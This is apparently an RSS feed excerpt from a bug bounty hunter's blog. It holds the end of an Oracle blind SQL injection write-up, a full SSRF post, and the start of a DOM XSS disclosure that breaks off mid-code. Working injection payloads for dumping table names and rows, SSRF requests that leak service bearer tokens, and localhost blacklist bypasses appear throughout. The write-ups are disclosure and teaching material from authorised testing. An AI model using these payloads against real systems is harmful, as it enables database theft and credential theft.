</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> CASE
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> WHEN ((SELECT ASCII(SUBSTR(SYS.DATABASE_NAME,1,1)) FROM DUAL)&gt;0) THEN 1
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> ELSE 1/0
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> END
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">)=1 OR &#39;</span><span style="color:#ae81ff">1</span><span style="color:#e6db74">&#39;=&#39;</span><span style="color:#ae81ff">1</span>
</span></span></code></pre></div><h3 id="payload-explanation-1">Payload Explanation</h3>
<ol>
<li><code>SUBSTR(SYS.DATABASE_NAME,1,1)</code>: This part returns the very first character of the database name.</li>
<li><code>ASCII(...)</code>: This function converts the first character of the database name to its corresponding ASCII value.</li>
<li><code>ASCII(SUBSTR(...))&gt;0</code>: This part checks if the ASCII value of the first character is greater than 0 (which is always true unless the server uses Unicode database names).</li>
</ol>
<p>In theory, we can keep increasing from <code>0</code> to up to <code>127</code>. However, valid database names start after <code>45</code> (ASCII value of <code>-</code>) and go up to <code>122</code> (ASCII value of lowercase <code>z</code>).</p>
<p>I did the brute force for each character and found out the database name to be &ldquo;<strong>SYNACK</strong>&rdquo; (obviously fake because I will not reveal client details).</p>
<h3 id="dumping-the-table-name">Dumping The Table Name</h3>
<p>Now that we know the database name, it was our turn to dump the table names. Using <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/OracleSQL%20Injection.md">PayloadsAllTheThings</a>, I came across the following query:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#66d9ef">SELECT</span> <span style="color:#66d9ef">table_name</span> <span style="color:#66d9ef">FROM</span> all_tables
</span></span></code></pre></div><p>However, this query would return multiple rows in the response. Using our technique, we can only dump one row and one column, one character at a time. It is very slow but this is the best that we have got.</p>
<p>Following the PayloadsAllTheThings page, I knew that we could use the <code>ROWNUM</code> pseudo-column to filter from the number of rows returned by the query. Incorporating this into our payload, this was our payload that finds the length of the first table from the <code>all_tables</code> view:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#e6db74">&#39; AND (
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> CASE
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> WHEN ((SELECT LENGTH(table_name,1,1) FROM all_tables WHERE ROWNUM=1)=0) THEN 1
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> ELSE 1/0
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> END
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">)=1 OR &#39;</span><span style="color:#ae81ff">1</span><span style="color:#e6db74">&#39;=&#39;</span><span style="color:#ae81ff">1</span>
</span></span></code></pre></div><p>Increasing the number, I found out that the table was <strong>4</strong> characters long.</p>
<p>After using a <code>SUBSTR()</code> payload, I discovered the table name was &ldquo;<strong>DUAL</strong>&rdquo;. :/ For a practical proof-of-concept, we will need a table that is not a system table. It should contain some client data.</p>
<p>I changed from <code>ROWNUM=1</code> to <code>ROWNUM=2</code> in the hope that it would give me the next row. However, in Oracle, the <code>ROWNUM</code> pseudo-column works in an unexpected way. We cannot directly provide a row number apart from <code>ROWNUM=1</code>.</p>
<h3 id="finding-a-way-to-use-limits-and-offsets">Finding A Way To Use Limits And Offsets</h3>
<p>We had to find a different solution that would limit the number of rows returned by the SQL query. MySQL has <code>LIMIT</code> and <code>OFFSET</code> statements that can be used to limit the number of rows. I knew a little about Oracle limits. Upon doing further Google searches, I found out that we need to use <code>OFFSET...FETCH</code> statements if we wish to limit the results.</p>
<p>An example usage would be like this:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#e6db74">&#39; AND (
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> CASE
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> WHEN ((SELECT LENGTH(table_name,1,1) FROM all_tables OFFSET 1 ROWS FETCH NEXT 1 ROWS ONLY)=0) THEN 1
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> ELSE 1/0
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> END
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">)=1 OR &#39;</span><span style="color:#ae81ff">1</span><span style="color:#e6db74">&#39;=&#39;</span><span style="color:#ae81ff">1</span>
</span></span></code></pre></div><p>However, this payload would exceed our maximum limit of 120 characters. :(</p>
<h3 id="finding-the-shortest-possible-payload">Finding The Shortest Possible Payload</h3>
<p>I shifted my focus toward crafting the shortest payload that would give me a boolean response. I played around with the payload a bit and I discovered that in some places, spaces were optional. We could eliminate spaces!</p>
<p>For example, consider the following <code>CASE...WHEN</code> payload</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#66d9ef">CASE</span> <span style="color:#66d9ef">WHEN</span> (<span style="color:#ae81ff">1</span><span style="color:#f92672">=</span><span style="color:#ae81ff">1</span>) <span style="color:#66d9ef">THEN</span> <span style="color:#ae81ff">1</span> <span style="color:#66d9ef">ELSE</span> <span style="color:#ae81ff">1</span><span style="color:#f92672">/</span><span style="color:#ae81ff">0</span> <span style="color:#66d9ef">END</span> <span style="color:#75715e">-- 35 characters
</span></span></span></code></pre></div><p>This can be rewritten to eliminate spaces like this:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#66d9ef">CASE</span> <span style="color:#66d9ef">WHEN</span>(<span style="color:#ae81ff">1</span><span style="color:#f92672">=</span><span style="color:#ae81ff">1</span>)<span style="color:#66d9ef">THEN</span> <span style="color:#ae81ff">1</span><span style="color:#66d9ef">ELSE</span> <span style="color:#ae81ff">1</span><span style="color:#f92672">/</span><span style="color:#ae81ff">0</span><span style="color:#66d9ef">END</span> <span style="color:#75715e">-- 31 characters
</span></span></span></code></pre></div><p>Considering this in mind, I crafted the shortest possible payload that provided me with a boolean response as:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#e6db74">&#39;AND(CASE WHEN(1=1)THEN 1ELSE 1/0END)=1OR&#39;</span><span style="color:#ae81ff">1</span><span style="color:#e6db74">&#39;=&#39;</span><span style="color:#ae81ff">1</span> <span style="color:#75715e">-- 47 characters
</span></span></span></code></pre></div><p>By doing this, we effectively moved from 86 characters to 47 characters. This was a massive improvement!</p>
<h3 id="successfully-dumping-table-names">Successfully Dumping Table Names</h3>
<p>With our refined payload and using offsets, I went on to dump the table names. I skipped the first table that was &ldquo;DUAL&rdquo; and started dumping the second table name. To do this, I used the following payload:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#e6db74">&#39;AND(CASE WHEN((SELECT table_name FROM all_tables OFFSET 1 ROWS FETCH NEXT 1 ROWS ONLY)&gt;&#39;</span>A<span style="color:#e6db74">&#39;)THEN 1ELSE 1/0END)=1OR&#39;</span><span style="color:#ae81ff">1</span><span style="color:#e6db74">&#39;=&#39;</span><span style="color:#ae81ff">1</span> <span style="color:#75715e">-- 120 characters
</span></span></span></code></pre></div><p>Using this payload, I dumped the first three characters from the table name that was &ldquo;<strong>SYS</strong>&rdquo;. After dumping the third character, the payload becomes exactly 120 characters long and we cannot dump any further.</p>
<p>I found a workaround for this by using the <code>LIKE</code> statement and eliminating offsets and limits. Here is the payload that I used:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#e6db74">&#39;AND(CASE WHEN((SELECT COUNT(*) FROM all_tables WHERE table_name LIKE &#39;</span>SYS_______<span style="color:#e6db74">&#39;)&gt;0)THEN 1ELSE 1/0END)=1OR&#39;</span><span style="color:#ae81ff">1</span><span style="color:#e6db74">&#39;=&#39;</span><span style="color:#ae81ff">1</span> <span style="color:#75715e">-- 114 characters
</span></span></span></code></pre></div><p>Enumerating the table name one character at a time, I found that the table name was &ldquo;<strong>SYSTEMTBL$</strong>&rdquo;. I could not enumerate the last $ character because it was a bad character. However, I googled the table name and found out that it was also a system table and the table name ended with a $.</p>
<p>I tried to play around with the offset values to enumerate more table names but almost all of them turned out to be system tables.</p>
<p>To find a table that was not a system table, I did some guesswork. As I mentioned earlier in the blog, this application was a retest. I had already sent plenty of SQLis on this application. Due to this, I was fortunate enough to know the naming convention of the tables. I knew the table names had the following prefix: &ldquo;<strong>SYN_</strong>&rdquo;.</p>
<p>I crafted a payload to check for tables that had the &ldquo;<strong>SYN_</strong>&rdquo; prefix. The payload looked like this:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#e6db74">&#39;AND(CASE WHEN((SELECT COUNT(*) FROM all_tables WHERE table_name LIKE &#39;</span>SYN____<span style="color:#e6db74">&#39;)=1)THEN 1ELSE 1/0END)=1OR&#39;</span><span style="color:#ae81ff">1</span><span style="color:#e6db74">&#39;=&#39;</span><span style="color:#ae81ff">1</span> <span style="color:#75715e">-- 111 characters
</span></span></span></code></pre></div><p>This payload was successful and I enumerated the table name to be &ldquo;<strong>SYN_NEW</strong>&rdquo;.</p>
<h3 id="guessing-column-names">Guessing Column Names</h3>
<p>Next up, we had to enumerate the column names from the &ldquo;SYN_NEW&rdquo; table. For this, I tried to craft a payload like this:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#e6db74">&#39;AND(CASE WHEN((SELECT OWNER FROM all_tab_columns WHERE table_name=&#39;</span>SYN_NEW<span style="color:#e6db74">&#39;ANDROWNUM=1)&gt;0)THEN 1ELSE 1/0END)=1OR&#39;</span><span style="color:#ae81ff">1</span><span style="color:#e6db74">&#39;=&#39;</span><span style="color:#ae81ff">1</span> <span style="color:#75715e">-- 119 characters
</span></span></span></code></pre></div><p>However, this payload would not work. The <code>(SELECT OWNER FROM all_tab_columns WHERE table_name='SYN_NEW'ANDROWNUM=1)</code> subquery returns a string and we must compare it with a string to get a meaningful result. Even if we try to compare it with the ASCII value of the first character, we would be limited to enumerating the first character of the column name. We had just enough space to fit a single character.</p>
<p>I could not think of anything from here. So, I decided to brute force the column names. To perform the brute force, I used the following payload:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#e6db74">&#39;AND(CASE WHEN((SELECT LENGTH(§test§) FROM SYN_NEW OFFSET 1ROWS FETCH NEXT 1ROWS ONLY)&gt;0)THEN 1ELSE 1/0END)=1OR&#39;</span><span style="color:#ae81ff">1</span><span style="color:#e6db74">&#39;=&#39;</span><span style="color:#ae81ff">1</span> <span style="color:#75715e">-- 115 characters
</span></span></span></code></pre></div><p>I brute-forced using the <a href="https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/burp-parameter-names.txt">burp-parameter-names.txt</a> wordlist.</p>
<p>And quickly enough, I found one column &ldquo;<strong>user</strong>&rdquo;.</p>
<h3 id="dumping-the-rows">Dumping The Rows</h3>
<p>From here, the database dump was quite easy, I just used the following payload to dump one row at a time:</p>
<pre tabindex="0"><code>&#39;AND(CASE WHEN((SELECT user FROM SYN_NEW OFFSET 1ROW FETCH NEXT 1ROW ONLY)&gt;&#39;SYN&#39;)THEN 1ELSE 1/0END)=1OR&#39;1&#39;=&#39; -- 108 characters
</code></pre><p>I enumerated the first row to be &ldquo;<strong>SYN_WAS</strong>&rdquo;. To confirm that what we dumped was indeed a valid row and was not a fluke, I used the following payload:</p>
<pre tabindex="0"><code>&#39;AND(CASE WHEN((SELECT user FROM SYN_NEW OFFSET 1ROW FETCH NEXT 1ROW ONLY)=&#39;SYN_WAS&#39;)THEN 1ELSE 1/0END)=1OR&#39;1&#39;=&#39; -- 112 characters
</code></pre><p>If you change from &ldquo;<strong>SYN_WAS</strong>&rdquo; to something else like &ldquo;<strong>SYN_WAR</strong>&rdquo;, the application will send a false response. Confirming that our row dump is valid.</p>
<p>Sent the report to Synack and they happily accepted the findings!</p>
<h3 id="takeaways">Takeaways</h3>
<ol>
<li>Keep taking notes of your vulnerabilities. You never know when they will become useful.</li>
<li>Bug bounties are often luck paired with hard work. If I had not found the SQL injections on this target in the past, I would never have guessed what naming structure the table names follow.</li>
</ol>
<p>I love doing technical discussions with the community! If you have a question about anything related to infosec, feel free to send me a DM on my <a href="https://twitter.com/kuldeepdotexe">Twitter</a>/<a href="https://www.instagram.com/kuldeepdotexe">Instagram</a>/<a href="https://www.linkedin.com/in/kuldeep-pandya-13a26a167/">LinkedIn</a>.</p>
<p>EOF</p>
</content>
</item>
<item>
<title>Escalating Privileges With SSRF</title>
<link>https://kuldeep.io/posts/escalating-privileges-with-ssrf/</link>
<pubDate>Thu, 20 Jul 2023 20:58:53 +0530</pubDate>
<guid>https://kuldeep.io/posts/escalating-privileges-with-ssrf/</guid>
<description>Hello again, folks!
This post is regarding my recent findings on Synack Red Team which consisted of a total of 4 SSRF vulnerabilities. Three of them were authenticated SSRFs and the last was a fully unauthenticated SSRF.
If you follow me on Twitter, you must have seen my post regarding this.
The finding is pretty straightforward. I can explain it in fewer lines but I want to explain my stepwise thought process to finding this specific vulnerability.</description>
<content><p>Hello again, folks!</p>
<p>This post is regarding my recent findings on Synack Red Team which consisted of a total of 4 SSRF vulnerabilities. Three of them were authenticated SSRFs and the last was a fully unauthenticated SSRF.</p>
<p>If you follow me on Twitter, you must have seen my post regarding this.</p>
<p>The finding is pretty straightforward. I can explain it in fewer lines but I want to explain my stepwise thought process to finding this specific vulnerability. I want to do this because the target was live for a total of 11 hours and 47 minutes before I reported the vulnerability, and surprisingly no one else reported it despite the relatively small attack surface.</p>
<p>To the blog now,</p>
<p>I was onboarded to the target at 01:31 AM at night. I was obviously sleeping. After waking up, I realized there was a new API target. So I hopped onto my machine.</p>
<p>I prepared the testing environment by loading the Postman collection and Postman environment files into Postman. I then started Burp Suite in order to view and manipulate the requests.</p>
<p><img src="https://kuldeep.io/Postman-collection.png" alt="Postman Collection"></p>
<h3 id="application-overview">Application Overview</h3>
<p>There were different services running on each sub-collection. By manually checking each request, I found out that there were a total of 5 services that were actually performing some sort of operation. The other collections are for authentication and other purposes.</p>
<p>The 5 services that were running included:</p>
<ul>
<li>XXXIntegration</li>
<li>AssetManagement</li>
<li>Billing</li>
<li>CustomerManagement</li>
<li>OLS</li>
</ul>
<p>To access any of these services, you require a service-specific access token. For example, if you want to access the <code>Billing</code> service, you must have a <code>Billing</code> access token. If you have an <code>AssetManagement</code> access token, it will not work for the <code>Billing</code> service and vice versa.</p>
<p>I obtained an access token for the <code>AssetManagement</code> service. I set the access token in the Postman environment in order to for the testing process to work properly. And I started exploring various requests.</p>
<h3 id="initial-discovery">Initial Discovery</h3>
<p>By manually testing each request on a one-by-one basis, I came across the <code>XXXService - /xxxevent</code> request.</p>
<p>The request looked like this:</p>
<pre tabindex="0"><code>POST /api/xxx/xxxevent HTTP/1.1
Content-Type: application/json
Authorization: Bearer redacted
Host: AssetManagement-service-host
Content-Length: 507
{
&#34;event_id&#34;: &#34;redacted&#34;,
&#34;event_type&#34;: &#34;redacted&#34;,
&#34;event_time&#34;: &#34;2022-07-06T14:55:00.00Z&#34;,
&#34;correlation_id&#34; : &#34;redacted&#34;,
&#34;payload&#34;: {
&#34;urls&#34;: [
{
&#34;url_type&#34;: &#34;XXXIntegration&#34;,
&#34;url&#34;: &#34;https://XXXIntegration-service-host/api/xxxhistory/xxx/1234&#34;
}
]
}
}
</code></pre><p>Here is the explanation for each parameter:</p>
<table>
<thead>
<tr>
<th>Parameter</th>
<th>Explanation</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>event_id</code></td>
<td>This is a UUID for a particular event.</td>
</tr>
<tr>
<td><code>event_type</code></td>
<td>Set to &ldquo;<em>public</em>&rdquo; by default in the collection. Most probably, this identifies if the event is public or private.</td>
</tr>
<tr>
<td><code>event_time</code></td>
<td>Describes the time of the event.</td>
</tr>
<tr>
<td><code>url_type</code></td>
<td>This is set to <code>XXXIntegration</code> showing that the <code>XXXIntegration</code> service is being requested.</td>
</tr>
<tr>
<td><code>url</code></td>
<td>This is the parameter of utmost interest, as this specifies an <code>XXXIntegration</code> service URL to fetch data. A user can modify this parameter to hold any arbitrary URL and the API will send requests to that URL</td>
</tr>
</tbody>
</table>
<p>The response to this request showed no interesting behavior as it was just a <code>500 Internal Server Error</code> page without any verbose errors.</p>
<p>I started testing this request by providing it with a Synack Burp Collaborator URL. And, to my surprise, it actually sent me an HTTP request.</p>
<p><img src="https://kuldeep.io/request-to-collaborator.png" alt="Request In Collaborator"></p>
<h3 id="initial-assumption-and-its-limitations">Initial Assumption and Its Limitations</h3>
<p>Just like you, I also noticed the authorization token in the request. But at the time of testing, I assumed this was my own authorization token. I believed the server forwarded parts of my request to the URL provided as the <code>url</code> parameter.</p>
<p>This kind of behavior has almost no impact on its own because stealing our own bearer token yields nothing. It must be chained with some other attack like CSRF in order to exploit other users. For example, it can be exploited when you make the victim send a request to an attacker-controlled domain.</p>
<h3 id="bypassing-the-blacklist-to-achieve-a-partial-ssrf">Bypassing The Blacklist To Achieve A Partial SSRF</h3>
<p>I ignored this behavior and started checking if I can do a local port scan for it to be eligible for a partial SSRF. I tried to make the API send a request to <code>localhost</code> but the API had a blacklist in place for such payloads. I tried a handful of payloads like:</p>
<ul>
<li><code>localhost</code></li>
<li><code>127.0.0.1</code></li>
<li><code>0.0.0.0</code></li>
<li><code>127.1</code></li>
</ul>
<p>But as expected, all were being filtered by the API.</p>
<p>This API was allowing requests to arbitrary domains so I thought to try a domain name that resolved to <code>127.0.0.1</code>. So, I tried it again with the <code>localtest.me</code> domain and it successfully bypassed the blacklist. I confirmed that it bypassed the blacklist by the <code>500 Internal Server Error</code> response. Normally, if the API filtered the payload, it sent a <code>403 Forbidden</code> response.</p>
<p>API normally:</p>
<p><img src="https://kuldeep.io/api-filtering-localhost.png" alt="API Throwing A 403 When Supplied with 0.0.0.0"></p>
<p>API when I use localtest.me:</p>
<p><img src="https://kuldeep.io/api-filtering-localhost-bypassed.png" alt="API Blacklisting Bypass Using localtest.me"></p>
<p>Now, all I had to do was create a local port scan PoC and submit it as a partial SSRF. However, I decided to escalate this issue in order for a better payout. I kept this vulnerability aside and started checking other functionalities that could potentially be used to exploit the SSRF.</p>
<h3 id="attempting-to-understand-jwt">Attempting To Understand JWT</h3>
<p>At random, a thought clicked in my brain. I wanted to confirm if the bearer token that I received in the collaborator indeed belonged to me. I later confirmed that the bearer token in the collaborator was different from the one that I had in my request.</p>
<p>I used <a href="https://jwt.io/">jwt.io</a> to decode both the tokens and compared them side by side. And this comparison further confirmed my belief that both the tokens are different. I will not show a screenshot of this for obvious reasons.</p>
<p>Even after confirming that the token is from a different user/service, I still had no idea where this token was being used. I thought to fuzz all API endpoints of all services with this bearer token to see if any of them respond with a <code>200 OK</code> or even anything apart from <code>401 Unauthorized</code>.</p>
<h3 id="finding-services-to-use-the-jwt">Finding Services To Use The JWT</h3>
<p>As usual, I got lazy and started looking for alternatives to fuzzing. Also, fuzzing must be the last resort in this situation because there were endpoints that performed different CRUD operations. Any wrong request can break the API.</p>
<p>After checking each request manually for a while, a thought randomly clicked in my brain, once again. Let&rsquo;s revisit our vulnerable request:</p>
<pre tabindex="0"><code>{
&#34;url_type&#34;: &#34;XXXIntegration&#34;,
&#34;url&#34;: &#34;https://XXXIntegration-service-host/api/xxxhistory/xxx/1234&#34;
}
</code></pre><p>Here, <code>XXXIntegration</code> specifies that we are requesting the <code>XXXIntegration</code> service. If you notice, the <code>XXXIntegration</code> service is there in the 5 services that I listed at the start of the blog. And the <code>XXXIntegration-service-host</code> is a host for the same service.</p>
<p>So, my hypothesis was that if the original request was being sent to the <code>XXXIntegration-service-host</code> host, then this access token must also belong to the same service.</p>
<p>To confirm this theory, I copied the authorization token received in the collaborator and pasted it into the health check endpoint of the <code>XXXIntegration-service-host</code> host. The health check endpoint was the perfect to test for this. The reason behind this is that it returned a <code>401 Unauthorized</code> response if the credentials are invalid and a <code>200 OK</code> response if the credentials are valid.</p>
<p>After setting the authorization token, I successfully received a <code>200 OK</code>. This confirmed that the token that was leaked in collaborator belonged to the <code>XXXIntegration</code> service.</p>
<p>Before setting the authorization token:</p>
<p><img src="https://kuldeep.io/healthcheck-before-setting-token.png" alt="API showing a 401 before setting the authorization token"></p>
<p>After setting the authorization token leaked in the collaborator:</p>
<p><img src="https://kuldeep.io/healthcheck-after-setting-token.png" alt="API showing a 200 OK after setting the authorization token"></p>
<p>This proved that the authorization token can be used to interact with the <code>XXXIntegration</code> service. However, just to make sure that it can not be accessed with any valid access token, I sent a request to the health check endpoint of the <code>XXXIntegration</code> service with an access token for the <code>AssetManagement</code> service. This failed because the application had proper access control checks in place.</p>
<p>Also, I later confirmed that we can exfiltrate an access token of ANY service by specifying the service name in the <code>url_type</code> parameter. If you replace <code>XXXIntegration</code> with <code>Billing</code> in the vulnerable request, the collaborator request will yield a Billing service access token.</p>
<p>Now we have everything we need to craft a full SSRF report.</p>
<ol>
<li>A request to an arbitrary URL</li>
<li>API leaking access token of another service</li>
<li>Privilege escalation using the access token</li>
</ol>
<h3 id="finding-even-more-scarier-ssrfs">Finding Even More (Scarier) SSRFs</h3>
<p>I started writing a report on this issue. But I accidentally closed all my tabs in Postman. I used the &ldquo;filter&rdquo; option in Postman to search for the &ldquo;event&rdquo; keyword hoping to find the vulnerable endpoint. But instead, I was greeted with 9 such endpoints that ended with &ldquo;event&rdquo;. I checked all of them and found out that all of them were vulnerable.</p>
<p>Now, instead of writing one report, I had to write 4 different reports. I wrote the first three reports. And then moved on to the next and final report. This is where I was so shocked that I could not believe what I was seeing.</p>
<p>The last endpoint was accessible without any sort of authentication. The request to it looked like this:</p>
<pre tabindex="0"><code>POST /api/xxx/xxxevent HTTP/1.1
Content-Type: application/json
Host: CustomerManagement-service-host
Content-Length: 622
{
&#34;event_id&#34;: &#34;redacted&#34;,
&#34;event_type&#34;: &#34;redacted&#34;,
&#34;event_time&#34;: &#34;2022-08-30T09:00:00.0000000Z&#34;,
&#34;correlation_id&#34;: &#34;redacted&#34;,
&#34;payload&#34;: {
&#34;urls&#34;: [
{
&#34;url_type&#34;: &#34;CustomerManagement&#34;,
&#34;url&#34;: &#34;https://CustomerManagement-service-host/api/xxx/customer/1234&#34;
},
{
&#34;url_type&#34;: &#34;XXXIntegration&#34;,
&#34;url&#34;: &#34;https://XXXIntegration-service-host/api/xxxhistory/xxx/1234&#34;
}
]
}
}
</code></pre><p>Any form of authentication was not required to access this endpoint. So, it allowed a remote unauthenticated attacker to obtain valid authorization tokens for different services. All an attacker has to do is tell the server about the service he/she wants to interact with and a URL to send the authenticated access token. The server will send the credentials without asking for anything. It&rsquo;s that simple. And it&rsquo;s that scary.</p>
<p>Sent all four reports to Synack and they accepted them happily with a generous bounty amount.</p>
<h3 id="conclusiontakeaways">Conclusion/Takeaways</h3>
<ol>
<li>Manually check for small details/anomalies. This may or may not lead to vulnerabilities. But it can certainly help you escalate the severity of the issue.</li>
<li>Always try to increase the severity of your finding. Never settle for a lower severity vulnerability. Take the help of your fellow hackers if you need to.</li>
</ol>
<p>I work full-time as a bug bounty hunter mostly hacking in Synack Red Team (SRT). If you&rsquo;re interested in becoming a part of the Synack Red Team, feel free to connect with me on Twitter, Instagram, or LinkedIn. I&rsquo;m always happy to offer guidance to fellow cybersecurity enthusiasts.</p>
<p>EOF</p>
</content>
</item>
<item>
<title>Full Disclosure - DOM-based XSS And Failures In Bug Bounty Hunting</title>
<link>https://kuldeep.io/posts/fulldisclosure-dom-based-xss/</link>
<pubDate>Thu, 06 Jul 2023 14:33:00 +0530</pubDate>
<guid>https://kuldeep.io/posts/fulldisclosure-dom-based-xss/</guid>
<description>Hello, folks!
A few days ago, I shared a post on Twitter about a mistake I made while doing bug bounties. This post is about the same mistake and a bonus mistake.
While scrolling on LinkedIn/Twitter/Instagram it is easy to get overwhelmed by looking at other people posting their bounties. There are two ways to look at this: 1. either get encouraged to hack looking at other people&rsquo;s success or 2.</description>
<content><p>Hello, folks!</p>
<p>A few days ago, I shared a post on Twitter about a mistake I made while doing bug bounties. This post is about the same mistake and a bonus mistake.</p>
<p>While scrolling on LinkedIn/Twitter/Instagram it is easy to get overwhelmed by looking at other people posting their bounties. There are two ways to look at this: 1. either get encouraged to hack looking at other people&rsquo;s success or 2. get discouraged and feel bad about you not finding enough vulnerabilities yourself. It is up to us to look at the positive side, take it as inspiration and start working to post similar bounties ourselves.</p>
<p>However, while doing so, it is not guaranteed to find success 100% of the time. Whether you just started hacking or are a seasoned hacker, there will always be challenges.</p>
<p>This time, I found myself in a similar situation. I was hunting on a target for around 6+ hours and found a DOM-based XSS. I escalated it to one-click account takeover. After reporting the issue, I found out that particular domain was out-of-scope.</p>
<p>I spent 1+ hours on crafting the perfect report for this vulnerability but in the end, it didn&rsquo;t matter. So, I decided to share it in a blog because I&rsquo;m proud of my report.</p>
<p>After that, I moved on to the next &ldquo;in-scope&rdquo; domain. I found a static HTML file and suspected there might be a CSS injection vulnerability. Detailed findings are shown below.</p>
<h2 id="findings">Findings:</h2>
<h3 id="1-dom-xss-in-redactedexamplecom-due-to-insecure-dynamic-resource-loading-via-eurl-parameter">1. DOM XSS In <code>REDACTED.example.com</code> Due To Insecure Dynamic Resource Loading Via <code>eUrl</code> Parameter</h3>
<h4 id="summary">Summary:</h4>
<p>The URL at <a href="https://REDACTED.example.com/v2/xxx-login.asp">https://REDACTED.example.com/v2/xxx-login.asp</a> loads static resources dynamically using the <code>eUrl</code> parameter that leads to DOM based XSS allowing for a one-click full account takeover.</p>
<h4 id="introduction">Introduction:</h4>
<p>DOM Based XSS (or as it is called in some texts, “type-0 XSS”) is an XSS attack wherein the attack payload is executed as a result of modifying the DOM “environment” in the victim’s browser used by the original client side script, so that the client side code runs in an “unexpected” manner. That is, the page itself (the HTTP response that is) does not change, but the client side code contained in the page executes differently due to the malicious modifications that have occurred in the DOM environment.</p>
<h4 id="description">Description:</h4>
<p>The page in focus <a href="https://REDACTED.example.com/v2/xxx-login.asp">https://REDACTED.example.com/v2/xxx-login.asp</a> facilitates login functionality using the SSO. It takes the following parameters in input:</p>
<table>
<thead>
<tr>
<th>Parameter</th>
<th>Working</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>action</code></td>
<td>Set to either <code>login</code> or <code>register</code> depending on what user chooses</td>
</tr>
<tr>
<td><code>env</code></td>
<td>Set to <code>REDACTED-prod</code> suggesting this is the production environment</td>
</tr>
<tr>
<td><code>eUrl</code></td>
<td>This is the most important parameter as it specifies the location to load static resources from</td>
</tr>
<tr>
<td><code>userType</code></td>
<td>This specifies the user type. By the normal application flow, this is set to <code>PARTNER</code></td>
</tr>
<tr>
<td><code>REDACTEDLookupCode</code></td>
<td>I&rsquo;m not entirely sure what this does</td>
</tr>
<tr>
<td><code>REDACTEDName</code></td>
<td>Set to empty using the normal application flow so I believe it is not much important</td>
</tr>
<tr>
<td><code>ssolang</code></td>
<td>Language for the SSO. Set to <code>en</code> by default</td>
</tr>
<tr>
<td><code>REDACTEDUrl</code></td>
<td>Again, not entirely sure what this does but doesn&rsquo;t affect the outcome</td>
</tr>
<tr>
<td><code>dossologin</code></td>
<td>This is a boolean parameter which is either set to <code>true</code> or <code>false</code>. It is set to <code>true</code> in the case of SSO login</td>
</tr>
</tbody>
</table>
<p>Here, the parameter of utmost importance is the <code>eUrl</code> parameter. As it is used to dynamically generate content.</p>
<p>From the source code, we can see that among the below shown lines, the vulnerability exists:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-Javascript" data-lang="Javascript"><span style="display:flex;"><span><span style="color:#66d9ef">var</span> <span style="color:#a6e22e">eUrl</span> <span style="color:#f92672">=</span> decodeURIComponent(<span style="color:#a6e22e">urlObj</span>.<span style="color:#a6e22e">searchParams</span>.<span style="color:#a6e22e">get</span>(<span style="color:#e6db74">&#39;eUrl&#39;</span>));
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">var</span> <span style="color:#a6e22e">elementStyleTag</span> <span style="color:#f92672">=</span> document.<span style="color:#a6e22e">createElement</span>(<span style="color:#e6db74">&#39;link&#39;</span>);
